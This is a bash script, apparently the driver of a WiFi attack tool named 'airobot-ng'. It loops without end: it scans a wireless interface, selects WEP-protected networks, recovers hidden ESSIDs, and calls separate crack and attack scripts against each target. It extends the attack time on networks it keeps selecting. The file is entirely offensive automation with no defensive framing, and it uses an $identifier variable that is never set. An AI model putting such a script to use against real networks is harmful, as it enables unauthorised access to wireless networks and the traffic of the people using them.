#! /usr/bin/env bash

interface=$1

if [ -z "$interface" ]
then
	echo Usage: $(basename $0) interface
	exit
fi

echo $$ >> "$(echo $0 | sed s/\.sh$//).pid"

cd "$(dirname "$0")"
cd ..

crack=
focus=30
timeout=20

while true
do
	echo $(date +"%Y-%m-%d %H:%M:%S") Scanning interface $interface
	screen -S scan.airobot-ng -d -m screen/scan.sh $interface
	sleep $timeout
	./script/kill.sh screen/scan.pid

	./script/select-wep.sh
	if [ -f script/select-wep.log ]
	then
		count=$(cat script/select-wep.log | awk -F', ' '{print $1}')
		bssid=$(cat script/select-wep.log | awk -F', ' '{print $2}')
		channel=$(cat script/select-wep.log | awk -F', ' '{print $3}')
		essid="$(cat script/select-wep.log | awk -F', ' '{print $4}')"

		timeout=20

		if [ -z "$essid" ]
		then
			./script/identify.sh $interface $channel $bssid 30
			if [ -f capture/$identifier/essid.txt ]
			then
				essid=$(cat capture/$identifier/essid.txt | tail --lines 1)
			fi
		fi

		if [ -n "$essid" ]
		then
			if [ ! "$crack" = "$bssid $essid" ]
			then
				./script/crack.sh $bssid "$essid" 10 20
				crack="$bssid $essid"
			fi

			if [ $count -eq 1 ]
			then
				if [ $focus -lt 180 ]
				then
					focus=$(($focus + 30))
				fi
			else
				focus=30
			fi

			./script/attack.sh $interface $channel $bssid "$essid" 10 $((($focus - 5) * 10)) $focus
		fi
	else
		if [ $timeout -lt 60 ]
		then
			timeout=$(($timeout + 20))
		fi
	fi
done

